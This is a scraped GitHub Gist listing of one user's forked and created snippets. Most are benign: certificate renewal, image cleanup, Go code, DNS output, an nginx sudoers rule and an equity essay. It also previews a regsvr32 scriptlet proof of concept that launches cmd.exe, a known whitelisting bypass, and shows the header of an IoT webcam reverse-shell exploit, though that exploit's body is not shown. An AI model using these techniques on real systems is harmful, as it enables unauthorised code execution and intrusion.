Skip to content

Instantly share code, notes, and snippets.

@kennwhite
kennwhite / letsencrypt-renew.sh
Created January 15, 2016 16:07 — forked from jcjones/letsencrypt-renew.sh
Cron script to renew Let's Encrypt certs using the official client
#!/bin/bash
# This is free and unencumbered software released into the public domain.
#
# This script is designed to be run daily by cron. Please run it with randomness in its timing to
# avoid load spikes at Let's Encrypt. One example, running between midnight at 2 AM, would be:
#
# 0 0 * * * sleep $[(RANDOM % 115)+5]m ; /usr/sbin/letsencrypt-renew.sh
#
# If you aren't using Nginx, adjust the startServer and stopServer methods to suit. Also, you could
# use the webroot method.
@kennwhite
kennwhite / Backdoor-Minimalist.sct
Created April 21, 2016 22:55
Execute Remote Scripts Via regsvr32.exe
<?XML version="1.0"?>
<scriptlet>
<registration
progid="Empire"
classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
<!-- Proof Of Concept - Casey Smith @subTee -->
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("cmd.exe");
@kennwhite
kennwhite / Better error handling
Created May 9, 2016 14:28 — forked from 4ydx/Better error handling
Wrapping multiple similar calls so that error handling code is reduced.
type WriteDB struct {
Conn *sql.DB
Err error
}
func (db *WriteDB) Do(
update,
title,
updated_at,
updated_by,
@kennwhite
kennwhite / whiteboardCleaner.md
Created August 10, 2016 20:23 — forked from lelandbatey/whiteboardCleaner.md
Whiteboard Picture Cleaner - Shell one-liner/script to clean up and beautify photos of whiteboards!

Description

This simple script will take a picture of a whiteboard and use parts of the ImageMagick library with sane defaults to clean it up tremendously.

The script is here:

#!/bin/bash
convert "$1" -morphology Convolve DoG:15,100,0 -negate -normalize -blur 0x1 -channel RBG -level 60%,91%,0.1 "$2"

Results

@kennwhite
kennwhite / opendns mitm
Created October 21, 2016 18:44 — forked from withzombies/opendns mitm
opendns is man-in-the-middling me
$ dig calendar.google.com @208.67.222.222
; <<>> DiG 9.8.3-P1 <<>> calendar.google.com @208.67.222.222
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 19048
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0
;; QUESTION SECTION:
;calendar.google.com. IN A
@kennwhite
kennwhite / upwned247.php
Created November 29, 2016 17:50 — forked from Wack0/upwned247.php
UCam247/Phylink/Titathink/YCam/Anbash/Trivision/Netvision/others IoT webcams : remote code exec: reverse shell PoC. (works only in qemu usermode)
<?php
/*
NB: THIS PoC ONLY WORKS IN QEMU USERMODE EMULATION!
If anyone wants to fix this, go ahead (no pun intended).
However, I don't have a vulnerable product and am unwilling to acquire one.
-------------------------
UCam247/Phylink/Titathink/YCam/Anbash/Trivision/Netvision/others
remote code exec: reverse shell PoC.
@kennwhite
kennwhite / upwned247.php
Created November 29, 2016 17:50 — forked from Wack0/upwned247.php
UCam247/Phylink/Titathink/YCam/Anbash/Trivision/Netvision/others IoT webcams : remote code exec: reverse shell PoC. (works only in qemu usermode)
<?php
/*
NB: THIS PoC ONLY WORKS IN QEMU USERMODE EMULATION!
If anyone wants to fix this, go ahead (no pun intended).
However, I don't have a vulnerable product and am unwilling to acquire one.
-------------------------
UCam247/Phylink/Titathink/YCam/Anbash/Trivision/Netvision/others
remote code exec: reverse shell PoC.
@kennwhite
kennwhite / nginx.overrides
Created January 2, 2017 22:05 — forked from sheharyarn/nginx.overrides
Restart / Reload Nginx without Entering Sudo Password
# Enter this command to create a sudoers override/include file:
# sudo visudo -f /etc/sudoers.d/nginx.overrides
# (Make sure you actually have this in your /etc/sudoers - Run `sudo visudo` to check)
# #includedir /etc/sudoers.d
# This file assumes your deployment user is `deploy`
# Nginx Commands
Cmnd_Alias NGINX_RESTART = /usr/sbin/service nginx restart

What I Wish I'd Known About Equity Before Joining A Unicorn

Disclaimer: This piece is written anonymously. The names of a few particular companies are mentioned, but as common examples only.

This is a short write-up on things that I wish I'd known and considered before joining a private company (aka startup, aka unicorn in some cases). I'm not trying to make the case that you should never join a private company, but the power imbalance between founder and employee is extreme, and that potential candidates would